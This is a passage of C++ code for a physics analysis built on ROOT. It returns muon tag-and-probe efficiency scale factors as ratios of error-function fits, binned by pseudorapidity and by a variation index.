0.9623*TMath::Erf((x-0.0000)/3.5325);\n else if (idx == 77 ) num = 0.9579*TMath::Erf((x-1.3155)/2.3733);\n else if (idx == 78 ) num = 0.9621*TMath::Erf((x-0.0132)/3.6240);\n else if (idx == 79 ) num = 0.9656*TMath::Erf((x-0.0631)/3.5508);\n else if (idx == 80 ) num = 0.9594*TMath::Erf((x-0.0977)/3.5039);\n else if (idx == 81 ) num = 0.9608*TMath::Erf((x-0.1607)/3.4106);\n else if (idx == 82 ) num = 0.9648*TMath::Erf((x-0.0007)/3.5032);\n else if (idx == 83 ) num = 0.9609*TMath::Erf((x-0.0015)/3.5921);\n else if (idx == 84 ) num = 0.9590*TMath::Erf((x-0.0270)/3.5173);\n else if (idx == 85 ) num = 0.9472*TMath::Erf((x-1.5578)/2.0177);\n else if (idx == 86 ) num = 0.9620*TMath::Erf((x-0.3578)/3.2582);\n else if (idx == 87 ) num = 0.9652*TMath::Erf((x-0.0517)/3.6790);\n else if (idx == 88 ) num = 0.9622*TMath::Erf((x-0.0043)/3.6722);\n else if (idx == 89 ) num = 0.9581*TMath::Erf((x-0.0000)/3.4619);\n else if (idx == 90 ) num = 0.9659*TMath::Erf((x-0.0148)/3.5563);\n else if (idx == 91 ) num = 0.9607*TMath::Erf((x-1.4799)/2.3074);\n else if (idx == 92 ) num = 0.9635*TMath::Erf((x-0.3932)/3.2461);\n else if (idx == 93 ) num = 0.9648*TMath::Erf((x-0.9900)/2.7390);\n else if (idx == 94 ) num = 0.9574*TMath::Erf((x-0.0075)/3.6679);\n else if (idx == 95 ) num = 0.9603*TMath::Erf((x-0.5632)/3.1398);\n else if (idx == 96 ) num = 0.9586*TMath::Erf((x-0.4193)/3.2136);\n else if (idx == 97 ) num = 0.9695*TMath::Erf((x-0.0000)/3.8195);\n else if (idx == 98 ) num = 0.9589*TMath::Erf((x-0.0020)/3.6145);\n else if (idx == 99 ) num = 0.9628*TMath::Erf((x-0.2956)/3.2855);\n else if (idx == 100 ) num = 0.9673*TMath::Erf((x-0.4306)/3.3085);\n }\n else if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9725*TMath::Erf((x-1.0054)/2.3187);\n else if (idx == -1 ) num = 1.0000*TMath::Erf((x-0.7401)/2.5070);\n else if (idx == -2 ) num = 0.9173*TMath::Erf((x-1.3831)/1.8138);\n else if (idx==1 ) num = 0.9664*TMath::Erf((x-1.3309)/1.9451);\n else if (idx==2 ) num = 0.9632*TMath::Erf((x-1.3290)/1.9513);\n else if (idx==3 ) num = 0.9678*TMath::Erf((x-1.0148)/2.3376);\n else if (idx==4 ) num = 0.9848*TMath::Erf((x-0.9444)/2.3932);\n else if (idx==5 ) num = 0.9646*TMath::Erf((x-1.3502)/1.8603);\n else if (idx==6 ) num = 0.9765*TMath::Erf((x-0.9802)/2.2845);\n else if (idx==7 ) num = 0.9862*TMath::Erf((x-0.5519)/2.9480);\n else if (idx==8 ) num = 0.9588*TMath::Erf((x-1.3311)/1.9312);\n else if (idx==9 ) num = 0.9557*TMath::Erf((x-1.3483)/1.8008);\n else if (idx==10 ) num = 0.9711*TMath::Erf((x-1.3174)/1.9481);\n else if (idx==11 ) num = 0.9834*TMath::Erf((x-0.7039)/2.7280);\n else if (idx==12 ) num = 0.9727*TMath::Erf((x-1.0827)/2.2481);\n else if (idx==13 ) num = 0.9650*TMath::Erf((x-1.3450)/1.8623);\n else if (idx==14 ) num = 0.9626*TMath::Erf((x-1.0382)/2.2124);\n else if (idx==15 ) num = 0.9799*TMath::Erf((x-0.4489)/2.8839);\n else if (idx==16 ) num = 0.9967*TMath::Erf((x-0.0000)/3.5322);\n else if (idx==17 ) num = 0.9694*TMath::Erf((x-1.1527)/2.1037);\n else if (idx==18 ) num = 0.9679*TMath::Erf((x-0.8587)/2.4470);\n else if (idx==19 ) num = 0.9581*TMath::Erf((x-1.2331)/1.9368);\n else if (idx==20 ) num = 0.9735*TMath::Erf((x-0.6093)/2.7565);\n else if (idx==21 ) num = 0.9707*TMath::Erf((x-0.9561)/2.3765);\n else if (idx==22 ) num = 0.9710*TMath::Erf((x-1.4346)/1.9103);\n else if (idx==23 ) num = 0.9739*TMath::Erf((x-0.7883)/2.5295);\n else if (idx==24 ) num = 0.9584*TMath::Erf((x-1.0871)/2.2088);\n else if (idx==25 ) num = 0.9683*TMath::Erf((x-1.1529)/2.1280);\n else if (idx==26 ) num = 0.9696*TMath::Erf((x-1.3294)/2.0530);\n else if (idx==27 ) num = 0.9631*TMath::Erf((x-1.3926)/1.9192);\n else if (idx==28 ) num = 0.9743*TMath::Erf((x-0.8310)/2.4924);\n else if (idx==29 ) num = 0.9724*TMath::Erf((x-0.9429)/2.3947);\n else if (idx==30 ) num = 0.9780*TMath::Erf((x-0.6907)/2.6474);\n else if (idx==31 ) num = 0.9750*TMath::Erf((x-1.2125)/2.1596);\n else if (idx==32 ) num = 0.9875*TMath::Erf((x-0.4066)/3.0293);\n else if (idx==33 ) num = 0.9435*TMath::Erf((x-1.7034)/1.3893);\n else if (idx==34 ) num = 0.9647*TMath::Erf((x-1.2425)/1.9835);\n else if (idx==35 ) num = 0.9643*TMath::Erf((x-0.5486)/2.7589);\n else if (idx==36 ) num = 0.9696*TMath::Erf((x-1.2034)/2.0922);\n else if (idx==37 ) num = 0.9647*TMath::Erf((x-1.1622)/2.1077);\n else if (idx==38 ) num = 0.9638*TMath::Erf((x-1.1493)/2.1684);\n else if (idx==39 ) num = 0.9608*TMath::Erf((x-1.5260)/1.7004);\n else if (idx==40 ) num = 0.9784*TMath::Erf((x-0.9245)/2.4133);\n else if (idx==41 ) num = 0.9694*TMath::Erf((x-0.6601)/2.6798);\n else if (idx==42 ) num = 0.9694*TMath::Erf((x-1.0725)/2.2150);\n else if (idx==43 ) num = 0.9709*TMath::Erf((x-1.1948)/2.0999);\n else if (idx==44 ) num = 0.9994*TMath::Erf((x-0.7046)/2.8191);\n else if (idx==45 ) num = 0.9717*TMath::Erf((x-1.1572)/2.1618);\n else if (idx==46 ) num = 0.9668*TMath::Erf((x-1.2549)/2.0258);\n else if (idx==47 ) num = 0.9881*TMath::Erf((x-0.7124)/2.6168);\n else if (idx==48 ) num = 0.9762*TMath::Erf((x-0.7719)/2.5990);\n else if (idx==49 ) num = 0.9681*TMath::Erf((x-1.3814)/1.8730);\n else if (idx==50 ) num = 0.9741*TMath::Erf((x-0.7377)/2.6037);\n else if (idx==51 ) num = 0.9698*TMath::Erf((x-1.0154)/2.3301);\n else if (idx==52 ) num = 0.9739*TMath::Erf((x-0.6024)/2.6989);\n else if (idx==53 ) num = 0.9654*TMath::Erf((x-1.4714)/1.7744);\n else if (idx==54 ) num = 0.9788*TMath::Erf((x-0.5921)/2.8095);\n else if (idx==55 ) num = 0.9674*TMath::Erf((x-1.3385)/2.0008);\n else if (idx==56 ) num = 0.9753*TMath::Erf((x-0.7505)/2.6561);\n else if (idx==57 ) num = 0.9915*TMath::Erf((x-0.5006)/3.0452);\n else if (idx==58 ) num = 0.9789*TMath::Erf((x-0.3582)/3.0704);\n else if (idx==59 ) num = 0.9813*TMath::Erf((x-0.1746)/3.1458);\n else if (idx==60 ) num = 0.9937*TMath::Erf((x-0.5639)/2.8380);\n else if (idx==61 ) num = 0.9752*TMath::Erf((x-0.6244)/2.7183);\n else if (idx==62 ) num = 0.9933*TMath::Erf((x-0.4229)/3.0276);\n else if (idx==63 ) num = 0.9676*TMath::Erf((x-0.9515)/2.2616);\n else if (idx==64 ) num = 0.9711*TMath::Erf((x-1.1906)/2.1208);\n else if (idx==65 ) num = 0.9772*TMath::Erf((x-1.1955)/2.1415);\n else if (idx==66 ) num = 0.9557*TMath::Erf((x-1.5576)/1.5638);\n else if (idx==67 ) num = 0.9995*TMath::Erf((x-0.5510)/2.9726);\n else if (idx==68 ) num = 0.9754*TMath::Erf((x-1.0703)/2.3058);\n else if (idx==69 ) num = 0.9755*TMath::Erf((x-1.1692)/2.1517);\n else if (idx==70 ) num = 0.9659*TMath::Erf((x-1.4382)/1.8701);\n else if (idx==71 ) num = 0.9804*TMath::Erf((x-0.8016)/2.6120);\n else if (idx==72 ) num = 0.9775*TMath::Erf((x-0.6922)/2.7078);\n else if (idx==73 ) num = 0.9713*TMath::Erf((x-0.8208)/2.5738);\n else if (idx==74 ) num = 0.9683*TMath::Erf((x-1.0708)/2.2729);\n else if (idx==75 ) num = 0.9691*TMath::Erf((x-0.6992)/2.5727);\n else if (idx==76 ) num = 0.9764*TMath::Erf((x-0.1513)/3.1129);\n else if (idx==77 ) num = 0.9704*TMath::Erf((x-1.0191)/2.3289);\n else if (idx==78 ) num = 0.9716*TMath::Erf((x-1.0818)/2.1600);\n else if (idx==79 ) num = 0.9777*TMath::Erf((x-0.6776)/2.7371);\n else if (idx==80 ) num = 0.9881*TMath::Erf((x-0.3183)/3.1203);\n else if (idx==81 ) num = 0.9974*TMath::Erf((x-0.7883)/2.7769);\n else if (idx==82 ) num = 0.9673*TMath::Erf((x-1.5485)/1.6782);\n else if (idx==83 ) num = 0.9926*TMath::Erf((x-0.8995)/2.4962);\n else if (idx==84 ) num = 0.9683*TMath::Erf((x-0.8082)/2.5190);\n else if (idx==85 ) num = 0.9807*TMath::Erf((x-1.0941)/2.2703);\n else if (idx==86 ) num = 0.9655*TMath::Erf((x-0.9080)/2.4409);\n else if (idx==87 ) num = 0.9713*TMath::Erf((x-0.8185)/2.5144);\n else if (idx==88 ) num = 0.9629*TMath::Erf((x-1.0726)/2.2500);\n else if (idx==89 ) num = 0.9828*TMath::Erf((x-0.3977)/2.9414);\n else if (idx==90 ) num = 0.9747*TMath::Erf((x-1.0780)/2.2479);\n else if (idx==91 ) num = 0.9648*TMath::Erf((x-1.2186)/2.0635);\n else if (idx==92 ) num = 0.9729*TMath::Erf((x-1.0200)/2.3461);\n else if (idx==93 ) num = 0.9751*TMath::Erf((x-1.1198)/2.1788);\n else if (idx==94 ) num = 0.9618*TMath::Erf((x-1.2555)/1.9968);\n else if (idx==95 ) num = 0.9930*TMath::Erf((x-0.5569)/2.8619);\n else if (idx==96 ) num = 0.9479*TMath::Erf((x-1.1822)/1.9777);\n else if (idx==97 ) num = 0.9653*TMath::Erf((x-1.4351)/1.8350);\n else if (idx==98 ) num = 0.9877*TMath::Erf((x-1.1694)/2.3072);\n else if (idx==99 ) num = 0.9845*TMath::Erf((x-1.2104)/2.1558);\n else if (idx==100 ) num = 0.9621*TMath::Erf((x-1.2094)/1.9538);\n }\n else if (fabs(eta)<2.1)\n {\n if (idx==0) num = 0.9194*TMath::Erf((x-0.9733)/2.1374);\n else if (idx == -1 ) num = 0.9324*TMath::Erf((x-0.9239)/2.0178);\n else if (idx == -2 ) num = 0.9065*TMath::Erf((x-1.0432)/2.2318);\n else if (idx == 1 ) num = 0.9136*TMath::Erf((x-0.8890)/2.2189);\n else if (idx == 2 ) num = 0.9143*TMath::Erf((x-1.1614)/1.8663);\n else if (idx == 3 ) num = 0.9219*TMath::Erf((x-1.0305)/2.0959);\n else if (idx == 4 ) num = 0.9389*TMath::Erf((x-0.8146)/2.5125);\n else if (idx == 5 ) num = 0.9282*TMath::Erf((x-0.8912)/2.2689);\n else if (idx == 6 ) num = 0.9089*TMath::Erf((x-1.1956)/1.7182);\n else if (idx == 7 ) num = 0.9060*TMath::Erf((x-1.5305)/1.3611);\n else if (idx == 8 ) num = 0.9330*TMath::Erf((x-0.7772)/2.4646);\n else if (idx == 9 ) num = 0.9373*TMath::Erf((x-0.8982)/2.3104);\n else if (idx == 10 ) num = 0.9334*TMath::Erf((x-0.8014)/2.3380);\n else if (idx == 11 ) num = 0.9171*TMath::Erf((x-1.2998)/1.7800);\n else if (idx == 12 ) num = 0.9205*TMath::Erf((x-1.2009)/1.8539);\n else if (idx == 13 ) num = 0.9227*TMath::Erf((x-1.0014)/2.1622);\n else if (idx == 14 ) num = 0.9106*TMath::Erf((x-1.1427)/1.8989);\n else if (idx == 15 ) num = 0.9198*TMath::Erf((x-1.0855)/1.9159);\n else if (idx == 16 ) num = 0.9030*TMath::Erf((x-1.1239)/1.8559);\n else if (idx == 17 ) num = 0.9125*TMath::Erf((x-1.0541)/1.9829);\n else if (idx == 18 ) num = 0.9332*TMath::Erf((x-0.8008)/2.4238);\n else if (idx == 19 ) num = 0.9224*TMath::Erf((x-0.9452)/2.1581);\n else if (idx == 20 ) num = 0.9066*TMath::Erf((x-1.1043)/1.9367);\n else if (idx == 21 ) num = 0.9079*TMath::Erf((x-1.2229)/1.7043);\n else if (idx == 22 ) num = 0.9118*TMath::Erf((x-1.0026)/2.0035);\n else if (idx == 23 ) num = 0.9319*TMath::Erf((x-0.8512)/2.4270);\n else if (idx == 24 ) num = 0.9116*TMath::Erf((x-1.2237)/1.7587);\n else if (idx == 25 ) num = 0.9123*TMath::Erf((x-0.9056)/2.2180);\n else if (idx == 26 ) num = 0.9135*TMath::Erf((x-0.8956)/2.2129);\n else if (idx == 27 ) num = 0.9100*TMath::Erf((x-1.2214)/1.7898);\n else if (idx == 28 ) num = 0.9136*TMath::Erf((x-0.6790)/2.5150);\n else if (idx == 29 ) num = 0.9196*TMath::Erf((x-1.1365)/1.8568);\n else if (idx == 30 ) num = 0.9027*TMath::Erf((x-0.9514)/2.1689);\n else if (idx == 31 ) num = 0.9181*TMath::Erf((x-1.3820)/1.5986);\n else if (idx == 32 ) num = 0.9074*TMath::Erf((x-1.0125)/2.1852);\n else if (idx == 33 ) num = 0.9063*TMath::Erf((x-1.1293)/2.0074);\n else if (idx == 34 ) num = 0.9219*TMath::Erf((x-0.8299)/2.3550);\n else if (idx == 35 ) num = 0.9139*TMath::Erf((x-1.0402)/1.9759);\n else if (idx == 36 ) num = 0.9251*TMath::Erf((x-0.9864)/2.1405);\n else if (idx == 37 ) num = 0.9180*TMath::Erf((x-1.3252)/1.6162);\n else if (idx == 38 ) num = 0.9115*TMath::Erf((x-0.8794)/2.2442);\n else if (idx == 39 ) num = 0.9300*TMath::Erf((x-0.9588)/2.2023);\n else if (idx == 40 ) num = 0.9358*TMath::Erf((x-0.5255)/2.8061);\n else if (idx == 41 ) num = 0.9179*TMath::Erf((x-0.9750)/2.0591);\n else if (idx == 42 ) num = 0.9224*TMath::Erf((x-1.1167)/2.0221);\n else if (idx == 43 ) num = 0.9262*TMath::Erf((x-1.3012)/1.7483);\n else if (idx == 44 ) num = 0.9186*TMath::Erf((x-0.9977)/2.1139);\n else if (idx == 45 ) num = 0.9117*TMath::Erf((x-0.8147)/2.2814);\n else if (idx == 46 ) num = 0.9203*TMath::Erf((x-0.8888)/2.2076);\n else if (idx == 47 ) num = 0.9361*TMath::Erf((x-0.8648)/2.2962);\n else if (idx == 48 ) num = 0.9273*TMath::Erf((x-1.1748)/1.8930);\n else if (idx == 49 ) num = 0.9213*TMath::Erf((x-0.7159)/2.2602);\n else if (idx == 50 ) num = 0.9110*TMath::Erf((x-0.8012)/2.2979);\n else if (idx == 51 ) num = 0.9277*TMath::Erf((x-1.0984)/2.0348);\n else if (idx == 52 ) num = 0.9281*TMath::Erf((x-1.0283)/2.1330);\n else if (idx == 53 ) num = 0.9197*TMath::Erf((x-0.9655)/2.2792);\n else if (idx == 54 ) num = 0.9193*TMath::Erf((x-0.9371)/2.1170);\n else if (idx == 55 ) num = 0.9282*TMath::Erf((x-0.6647)/2.5108);\n else if (idx == 56 ) num = 0.9269*TMath::Erf((x-0.9371)/2.2086);\n else if (idx == 57 ) num = 0.9390*TMath::Erf((x-1.1537)/2.0261);\n else if (idx == 58 ) num = 0.8994*TMath::Erf((x-1.0848)/1.9149);\n else if (idx == 59 ) num = 0.8955*TMath::Erf((x-1.0163)/1.9935);\n else if (idx == 60 ) num = 0.9070*TMath::Erf((x-0.9321)/2.1018);\n else if (idx == 61 ) num = 0.9081*TMath::Erf((x-0.8588)/2.2016);\n else if (idx == 62 ) num = 0.9061*TMath::Erf((x-1.3879)/1.5605);\n else if (idx == 63 ) num = 0.9117*TMath::Erf((x-1.3374)/1.6472);\n else if (idx == 64 ) num = 0.9175*TMath::Erf((x-1.1181)/1.9847);\n else if (idx == 65 ) num = 0.9306*TMath::Erf((x-1.2060)/1.8942);\n else if (idx == 66 ) num = 0.9108*TMath::Erf((x-0.8332)/2.2913);\n else if (idx == 67 ) num = 0.9112*TMath::Erf((x-1.0143)/2.0736);\n else if (idx == 68 ) num = 0.9223*TMath::Erf((x-0.8414)/2.2866);\n else if (idx == 69 ) num = 0.9252*TMath::Erf((x-1.0402)/2.1944);\n else if (idx == 70 ) num = 0.9255*TMath::Erf((x-0.9230)/2.1973);\n else if (idx == 71 ) num = 0.9353*TMath::Erf((x-0.8712)/2.4505);\n else if (idx == 72 ) num = 0.9339*TMath::Erf((x-0.9489)/2.2496);\n else if (idx == 73 ) num = 0.9057*TMath::Erf((x-1.1914)/1.8161);\n else if (idx == 74 ) num = 0.9176*TMath::Erf((x-0.9172)/2.1535);\n else if (idx == 75 ) num = 0.9309*TMath::Erf((x-0.8589)/2.4201);\n else if (idx == 76 ) num = 0.9212*TMath::Erf((x-0.9165)/2.1658);\n else if (idx == 77 ) num = 0.9241*TMath::Erf((x-1.0771)/2.0346);\n else if (idx == 78 ) num = 0.9169*TMath::Erf((x-0.8655)/2.2281);\n else if (idx == 79 ) num = 0.9130*TMath::Erf((x-1.1189)/1.9109);\n else if (idx == 80 ) num = 0.9394*TMath::Erf((x-0.8063)/2.5163);\n else if (idx == 81 ) num = 0.9217*TMath::Erf((x-1.0160)/2.0265);\n else if (idx == 82 ) num = 0.9114*TMath::Erf((x-1.3426)/1.6690);\n else if (idx == 83 ) num = 0.9273*TMath::Erf((x-0.6706)/2.5357);\n else if (idx == 84 ) num = 0.8885*TMath::Erf((x-1.0660)/1.8581);\n else if (idx == 85 ) num = 0.9254*TMath::Erf((x-1.0400)/1.9650);\n else if (idx == 86 ) num = 0.9264*TMath::Erf((x-1.0145)/2.0810);\n else if (idx == 87 ) num = 0.9179*TMath::Erf((x-0.8640)/2.2218);\n else if (idx == 88 ) num = 0.9270*TMath::Erf((x-0.9804)/2.1203);\n else if (idx == 89 ) num = 0.9163*TMath::Erf((x-1.0244)/2.0294);\n else if (idx == 90 ) num = 0.9051*TMath::Erf((x-0.9415)/2.1941);\n else if (idx == 91 ) num = 0.9134*TMath::Erf((x-0.5733)/2.6140);\n else if (idx == 92 ) num = 0.9277*TMath::Erf((x-0.8292)/2.3615);\n else if (idx == 93 ) num = 0.9091*TMath::Erf((x-0.9803)/2.0822);\n else if (idx == 94 ) num = 0.9193*TMath::Erf((x-1.0026)/2.0792);\n else if (idx == 95 ) num = 0.9217*TMath::Erf((x-1.2577)/1.8122);\n else if (idx == 96 ) num = 0.9014*TMath::Erf((x-1.2271)/1.6965);\n else if (idx == 97 ) num = 0.9216*TMath::Erf((x-0.9389)/2.1746);\n else if (idx == 98 ) num = 0.9150*TMath::Erf((x-0.9944)/2.1404);\n else if (idx == 99 ) num = 0.9097*TMath::Erf((x-0.8439)/2.1981);\n else if (idx == 100 ) num = 0.9104*TMath::Erf((x-0.8171)/2.4001);\n }\n else\n {\n if (idx==0) num = 0.8079*TMath::Erf((x-0.9421)/0.8577);\n else if (idx == -1 ) num = 0.8324*TMath::Erf((x-0.8321)/0.5872);\n else if (idx == -2 ) num = 0.7843*TMath::Erf((x-1.1443)/0.9628);\n else if (idx == 1 ) num = 0.8056*TMath::Erf((x-1.6103)/0.2200);\n else if (idx == 2 ) num = 0.8363*TMath::Erf((x-0.0000)/1.9077);\n else if (idx == 3 ) num = 0.8078*TMath::Erf((x-1.1152)/0.8519);\n else if (idx == 4 ) num = 0.7736*TMath::Erf((x-0.6190)/0.4166);\n else if (idx == 5 ) num = 0.8128*TMath::Erf((x-1.4446)/0.3582);\n else if (idx == 6 ) num = 0.8259*TMath::Erf((x-1.1372)/0.9449);\n else if (idx == 7 ) num = 0.8460*TMath::Erf((x-0.6870)/0.3865);\n else if (idx == 8 ) num = 0.8077*TMath::Erf((x-0.5292)/1.0800);\n else if (idx == 9 ) num = 0.8057*TMath::Erf((x-0.9524)/0.9679);\n else if (idx == 10 ) num = 0.8470*TMath::Erf((x-0.0012)/1.7617);\n else if (idx == 11 ) num = 0.8019*TMath::Erf((x-1.1453)/0.7969);\n else if (idx == 12 ) num = 0.8197*TMath::Erf((x-0.9877)/0.8917);\n else if (idx == 13 ) num = 0.7789*TMath::Erf((x-0.0004)/1.6429);\n else if (idx == 14 ) num = 0.7852*TMath::Erf((x-0.6597)/0.3558);\n else if (idx == 15 ) num = 0.8214*TMath::Erf((x-0.0000)/1.8619);\n else if (idx == 16 ) num = 0.7848*TMath::Erf((x-1.5317)/0.3120);\n else if (idx == 17 ) num = 0.8037*TMath::Erf((x-1.5570)/0.2359);\n else if (idx == 18 ) num = 0.7886*TMath::Erf((x-1.1624)/0.5437);\n else if (idx == 19 ) num = 0.7824*TMath::Erf((x-0.5396)/1.1359);\n else if (idx == 20 ) num = 0.7860*TMath::Erf((x-1.4176)/0.3419);\n else if (idx == 21 ) num = 0.8193*TMath::Erf((x-1.1025)/0.7039);\n else if (idx == 22 ) num = 0.7929*TMath::Erf((x-1.6091)/0.2073);\n else if (idx == 23 ) num = 0.7997*TMath::Erf((x-0.0001)/1.4745);\n else if (idx == 24 ) num = 0.7877*TMath::Erf((x-0.0000)/1.6610);\n else if (idx == 25 ) num = 0.7838*TMath::Erf((x-0.6438)/0.3553);\n else if (idx == 26 ) num = 0.8296*TMath::Erf((x-0.6897)/0.3656);\n else if (idx == 27 ) num = 0.8230*TMath::Erf((x-1.0366)/0.9573);\n else if (idx == 28 ) num = 0.8098*TMath::Erf((x-0.8357)/0.9431);\n else if (idx == 29 ) num = 0.7889*TMath::Erf((x-1.2595)/0.5656);\n else if (idx == 30 ) num = 0.8530*TMath::Erf((x-0.3186)/1.9275);\n else if (idx == 31 ) num = 0.8247*TMath::Erf((x-1.5087)/0.2973);\n else if (idx == 32 ) num = 0.7911*TMath::Erf((x-1.5843)/0.2086);\n else if (idx == 33 ) num = 0.7873*TMath::Erf((x-0.5589)/1.2147);\n else if (idx == 34 ) num = 0.7971*TMath::Erf((x-1.4626)/0.2584);\n else if (idx == 35 ) num = 0.8005*TMath::Erf((x-0.0000)/1.6135);\n else if (idx == 36 ) num = 0.7791*TMath::Erf((x-0.4788)/0.2388);\n else if (idx == 37 ) num = 0.7930*TMath::Erf((x-0.0045)/1.5717);\n else if (idx == 38 ) num = 0.7977*TMath::Erf((x-0.9392)/0.8600);\n else if (idx == 39 ) num = 0.7937*TMath::Erf((x-1.0338)/0.7507);\n else if (idx == 40 ) num = 0.7907*TMath::Erf((x-1.1912)/0.8897);\n else if (idx == 41 ) num = 0.7962*TMath::Erf((x-0.0000)/1.5652);\n else if (idx == 42 ) num = 0.8132*TMath::Erf((x-0.7345)/0.5072);\n else if (idx == 43 ) num = 0.8098*TMath::Erf((x-1.4911)/0.2409);\n else if (idx == 44 ) num = 0.8182*TMath::Erf((x-0.6608)/0.3465);\n else if (idx == 45 ) num = 0.8074*TMath::Erf((x-0.0000)/1.5236);\n else if (idx == 46 ) num = 0.8176*TMath::Erf((x-1.5892)/0.2123);\n else if (idx == 47 ) num = 0.7789*TMath::Erf((x-0.7727)/0.9241);\n else if (idx == 48 ) num = 0.8146*TMath::Erf((x-0.0000)/1.9448);\n else if (idx == 49 ) num = 0.8159*TMath::Erf((x-0.8485)/0.9537);\n else if (idx == 50 ) num = 0.8444*TMath::Erf((x-0.0000)/2.3424);\n else if (idx == 51 ) num = 0.8261*TMath::Erf((x-1.2050)/0.6735);\n else if (idx == 52 ) num = 0.8154*TMath::Erf((x-0.1403)/1.3527);\n else if (idx == 53 ) num = 0.8402*TMath::Erf((x-0.0002)/2.2443);\n else if (idx == 54 ) num = 0.8308*TMath::Erf((x-0.0000)/1.7752);\n else if (idx == 55 ) num = 0.7957*TMath::Erf((x-1.5440)/0.2214);\n else if (idx == 56 ) num = 0.7966*TMath::Erf((x-0.0031)/1.2847);\n else if (idx == 57 ) num = 0.8248*TMath::Erf((x-0.0000)/1.7527);\n else if (idx == 58 ) num = 0.8137*TMath::Erf((x-1.1530)/0.5978);\n else if (idx == 59 ) num = 0.8026*TMath::Erf((x-1.1938)/0.6154);\n else if (idx == 60 ) num = 0.7613*TMath::Erf((x-1.4313)/0.4128);\n else if (idx == 61 ) num = 0.8146*TMath::Erf((x-1.6101)/0.1989);\n else if (idx == 62 ) num = 0.8238*TMath::Erf((x-1.2892)/0.7766);\n else if (idx == 63 ) num = 0.7815*TMath::Erf((x-1.1236)/0.3757);\n else if (idx == 64 ) num = 0.8347*TMath::Erf((x-0.0000)/2.3934);\n else if (idx == 65 ) num = 0.8223*TMath::Erf((x-0.9849)/0.8888);\n else if (idx == 66 ) num = 0.7940*TMath::Erf((x-0.9704)/0.8937);\n else if (idx == 67 ) num = 0.8240*TMath::Erf((x-0.0119)/1.3856);\n else if (idx == 68 ) num = 0.7962*TMath::Erf((x-0.0000)/1.4659);\n else if (idx == 69 ) num = 0.8461*TMath::Erf((x-0.3805)/1.4052);\n else if (idx == 70 ) num = 0.8013*TMath::Erf((x-1.1735)/0.5411);\n else if (idx == 71 ) num = 0.7967*TMath::Erf((x-0.0000)/1.0902);\n else if (idx == 72 ) num = 0.8220*TMath::Erf((x-1.5990)/0.2022);\n else if (idx == 73 ) num = 0.7906*TMath::Erf((x-1.0907)/0.6622);\n else if (idx == 74 ) num = 0.8162*TMath::Erf((x-1.0903)/0.7047);\n else if (idx == 75 ) num = 0.8398*TMath::Erf((x-0.0000)/1.8480);\n else if (idx == 76 ) num = 0.8208*TMath::Erf((x-0.7020)/1.1439);\n else if (idx == 77 ) num = 0.8119*TMath::Erf((x-1.1593)/0.7509);\n else if (idx == 78 ) num = 0.8124*TMath::Erf((x-1.2988)/0.6738);\n else if (idx == 79 ) num = 0.8094*TMath::Erf((x-0.9686)/0.8786);\n else if (idx == 80 ) num = 0.8533*TMath::Erf((x-1.0974)/1.0263);\n else if (idx == 81 ) num = 0.7965*TMath::Erf((x-1.4786)/0.5360);\n else if (idx == 82 ) num = 0.7923*TMath::Erf((x-0.6557)/0.3657);\n else if (idx == 83 ) num = 0.7796*TMath::Erf((x-0.4551)/0.1290);\n else if (idx == 84 ) num = 0.8040*TMath::Erf((x-0.6722)/0.3595);\n else if (idx == 85 ) num = 0.8045*TMath::Erf((x-1.4161)/0.5137);\n else if (idx == 86 ) num = 0.8101*TMath::Erf((x-1.5392)/0.2451);\n else if (idx == 87 ) num = 0.8055*TMath::Erf((x-0.7864)/0.6117);\n else if (idx == 88 ) num = 0.8407*TMath::Erf((x-0.0004)/1.8438);\n else if (idx == 89 ) num = 0.7927*TMath::Erf((x-1.4325)/0.3236);\n else if (idx == 90 ) num = 0.8128*TMath::Erf((x-0.9951)/1.0570);\n else if (idx == 91 ) num = 0.8446*TMath::Erf((x-1.6056)/0.2033);\n else if (idx == 92 ) num = 0.7835*TMath::Erf((x-0.6747)/0.9460);\n else if (idx == 93 ) num = 0.7984*TMath::Erf((x-0.8991)/1.0029);\n else if (idx == 94 ) num = 0.8150*TMath::Erf((x-0.0000)/1.4728);\n else if (idx == 95 ) num = 0.7871*TMath::Erf((x-0.9038)/0.9169);\n else if (idx == 96 ) num = 0.8038*TMath::Erf((x-1.3358)/0.3702);\n else if (idx == 97 ) num = 0.8265*TMath::Erf((x-0.3027)/1.7874);\n else if (idx == 98 ) num = 0.8565*TMath::Erf((x-0.0001)/2.4075);\n else if (idx == 99 ) num = 0.8269*TMath::Erf((x-0.6933)/1.0097);\n else if (idx == 100 ) num = 0.8245*TMath::Erf((x-1.1228)/0.8057);\n }\n\n // return\n return num/den;\n}\n\n/////////////////////////////////////////////////////////////\n// M U I D + T R G P P //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_statonly_muidtrg_pp(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9547*TMath::Erf((x-1.7776)/2.0497);\n else if (fabs(eta)<1.6) den = 0.9150*TMath::Erf((x-1.8502)/1.6651);\n else if (fabs(eta)<2.1) den = 0.8721*TMath::Erf((x-1.1449)/2.5504);\n else den = 0.6137*TMath::Erf((x-1.0202)/1.0729);\n\n // numerator (from data)\n double num=1;\n if (fabs(eta)<0.9)\n {\n if (idx==0) num = 0.9452*TMath::Erf((x-1.9895)/1.6646);\n else if (idx == -1 ) num = 0.9488*TMath::Erf((x-1.8449)/1.7647);\n else if (idx == -2 ) num = 0.9416*TMath::Erf((x-2.1177)/1.5746);\n else if (idx == 1 ) num = 0.9483*TMath::Erf((x-1.3362)/2.1673);\n else if (idx == 2 ) num = 0.9477*TMath::Erf((x-1.6542)/2.0202);\n else if (idx == 3 ) num = 0.9423*TMath::Erf((x-1.8122)/1.8067);\n else if (idx == 4 ) num = 0.9428*TMath::Erf((x-1.7459)/1.8705);\n else if (idx == 5 ) num = 0.9470*TMath::Erf((x-2.0749)/1.6280);\n else if (idx == 6 ) num = 0.9375*TMath::Erf((x-2.0581)/1.5661);\n else if (idx == 7 ) num = 0.9374*TMath::Erf((x-2.3451)/1.3376);\n else if (idx == 8 ) num = 0.9503*TMath::Erf((x-2.1375)/1.5256);\n else if (idx == 9 ) num = 0.9459*TMath::Erf((x-1.7659)/1.8494);\n else if (idx == 10 ) num = 0.9457*TMath::Erf((x-1.9827)/1.6586);\n else if (idx == 11 ) num = 0.9441*TMath::Erf((x-2.2392)/1.4087);\n else if (idx == 12 ) num = 0.9377*TMath::Erf((x-1.9663)/1.6504);\n else if (idx == 13 ) num = 0.9450*TMath::Erf((x-2.0095)/1.6808);\n else if (idx == 14 ) num = 